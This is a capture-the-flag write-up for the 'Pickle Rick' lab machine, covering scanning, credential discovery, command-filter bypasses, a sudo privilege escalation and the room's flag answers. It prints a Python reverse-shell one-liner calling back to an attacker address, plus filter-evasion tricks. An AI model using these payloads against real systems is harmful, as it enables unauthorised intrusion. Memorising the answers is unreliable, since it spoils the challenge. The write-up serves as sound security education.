Pickle Rick is an Easy Linux machine that demonstrates the complete penetration testing loop—enumeration, exploitation, and privilege escalation—on a single host. This Rick and Morty-themed CTF requires you to exploit a web server and find three ingredients to help Rick transform back into a human.

Path to root, at a glance:

  • Scan the target → discover ports 22 (SSH) and 80 (HTTP)
  • Enumerate web source → find username in HTML comments
  • Check robots.txt → discover password string
  • Login at /login.php with discovered credentials
  • Bypass command filters to read ingredients
  • Escalate privileges via sudo misconfiguration

Nmap

┌──(kali㉿kali)-[~/THM/PickleRick]
└─$ nmap -sC -sV -p- -A -Pn 10.10.X.X -T5 -oN nmap_scan.txt -v
Starting Nmap 7.99 ( https://nmap.org ) at 2020-08-20 18:00 -0400
Nmap scan report for 10.10.X.X
Host is up (0.35s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8b:7c:2a:1f:85:9c:2c:dc:90:e7:33:dd:64:2c:99:6a (RSA)
|   256 9f:fe:5c:42:06:db:9f:47:7d:09:62:d9:7c:ac:d4:18 (ECDSA)
|_  256 68:de:68:f9:c8:e2:1d:91:0c:34:09:f9:12:a1:6e:a0 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Rick is sup4r cool
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.15 seconds

The scan reveals:

  • Port 22/tcp: SSH (OpenSSH 7.2p2 Ubuntu) - potential remote access
  • Port 80/tcp: HTTP (Apache 2.4.18) - primary attack surface
  • OS: Ubuntu Linux

The Application

image

Visiting the website reveals a Rick and Morty-themed page:

  • Rick tells Morty he needs to log on to Rick’s computer
  • The challenge is to find three ingredients hidden in text files

Web Enumeration

Source Code Analysis

Viewing the page source reveals a comment containing credentials:

image 

<!--

  Note to self, remember username!

  Username: R1ckRul3s

-->

Found username: R1ckRul3s

robots.txt

Checking /robots.txt reveals:

image 
Wubbalubbadubdub

This is a Rick & Morty catchphrase that looks suspiciously like a password.

Directory Brute Force

Running Gobuster to discover hidden directories:

┌──(r3vpwnx㉿r3vpwnx)-[~]
└─$ gobuster dir -u http://10.49.135.200 -w /usr/share/wordlists/dirb/common.txt -t 100 --random-agent
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.49.135.200
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htpasswd            (Status: 403) [Size: 278]
.hta                 (Status: 403) [Size: 278]
assets               (Status: 301) [Size: 315] [--> http://10.49.135.200/assets/]
.htaccess            (Status: 403) [Size: 278]
index.html           (Status: 200) [Size: 1062]
robots.txt           (Status: 200) [Size: 17]
server-status        (Status: 403) [Size: 278]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

but nothing interesting, so i ran nikto and found an Admin login page /login.php

Nikto

┌──(r3vpwnx㉿r3vpwnx)-[~]
└─$ nikto -h 10.49.135.200 
- Nikto v2.6.0
---------------------------------------------------------------------------
+ Target IP:          10.49.135.200
+ Target Hostname:    10.49.135.200
+ Target Port:        80
+ Platform:           Unknown
+ Start Time:         2026-08-30 04:08:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ ERROR: Failed to check for updates: 403
+ No CGI Directories found (use '-C all' to force check all possible dirs). CGI tests skipped.
+ [999984] /: Server may leak inodes via ETags, header found with file /, inode: 426, size: 5818ccf125686, mtime: gzip. See: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
+ [013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
+ [013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
+ [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy
+ [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
+ [600050] Apache/2.4.41 appears to be outdated (current is at least 2.4.66).
+ [999990] OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ [95] /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ [006333] /login.php: Admin login page/section found.
+ [007342] /: X-Frame-Options header is deprecated and was replaced with the Content-Security-Policy HTTP header with the frame-ancestors directive. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Frame-Options
+ [007352] /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ 8285 requests: 16 errors and 12 items reported on the remote host
+ End Time:           2026-08-30 04:26:11 (GMT-4) (1061 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Foothold: Command Injection

Navigate to /login.php and use the discovered credentials:

  • Username: R1ckRul3s
  • Password: Wubbalubbadubdub

Command Execution Portal

After login, we’re redirected to /portal.php with a command execution interface.

Testing commands:

image

Bypassing Command Filters

The application blocks cat, more, head, tail, nl etc. but less command and below bypass techniques worked for me:

# Alternative to cat:
less Sup3rS3cretPickl3Ingred.txt

# Bypass technique:
c\at Sup3rS3cretPickl3Ingred.txt
ca''t Sup3rS3cretPickl3Ingred.txt

Finding the Ingredients

Ingredient 1 (First Flag):

less Sup3rS3cretPickl3Ingred.txt
# mr. meeseek hair

Ingredient 2 (Second Flag):

ls /home
# rick
# ubuntu
ls /home/rick/
# second ingredients
less "/home/rick/second ingredients"
# 1 jerry tear

Note: File names with spaces require quotes or escaping.

Ingredient 3 (Third Flag - Privilege Escalation):

Check sudo permissions:

sudo -l

# Matching Defaults entries for www-data on ip-10-49-135-200:
#    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

# User www-data may run the following commands on ip-10-49-135-200:
#    (ALL) NOPASSWD: ALL

This is a critical misconfiguration. We can run any command as root without a password.

sudo ls /root/
# 3rd.txt
# snap
sudo less /root/3rd.txt
# 3rd ingredients: fleeb juice

Full Exploitation (Reverse Shell)

For a more persistent foothold, we can get a reverse shell:

Step 1: Generate Payload

Use revshells.com or manually create a Python reverse shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Step 2: Setup Listener

┌──(kali㉿kali)-[~/THM/PickleRick]
└─$ nc -lnvp 4444

Step 3: Execute Payload

Enter the Python reverse shell command in the portal. The command will execute and connect back to your listener.

image

Step 4: Stabilize Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Task Answers

  1. What is the first ingredient that Rick needs? mr. meeseek hair
  2. What is the second ingredient in Rick’s potion? 1 jerry tear
  3. What is the last and final ingredient? fleeb juice

Lessons Learned

  1. Web Enumeration
  • Always check page source for comments
  • Explore robots.txt for hidden clues
  • Directory brute force discovers hidden endpoints
  1. Credential Discovery
  • Usernames in HTML comments are common in CTFs
  • Theming often provides password clues
  • Weak password: “Wubbalubbadubdub” is a TV catchphrase
  1. Command Filter Bypass
  • Blacklisting cat doesn’t prevent file reading
  • Command bypass techniques: c\at, ca''t, cat with null bytes
  1. Privilege Escalation
  • sudo -l shows what commands can be run as other users
  • (ALL) NOPASSWD: ALL is a complete compromise
  • Root access via sudo means game over
  1. Web Shell to Reverse Shell
  • Command portals are useful but limiting
  • Reverse shells provide full interactive access
  • Stabilize shells with pty.spawn() and stty raw -echo

Security Recommendations

  • Remove credentials from source code - Never hardcode usernames or passwords in HTML comments
  • Secure robots.txt - Don’t put sensitive information in publicly accessible files
  • Proper command sanitization - Use escapeshellarg() and escapeshellcmd() in PHP
  • Restrict sudo permissions - Never allow NOPASSWD: ALL for web users
  • Implement whitelisting - Only allow specific commands rather than blacklisting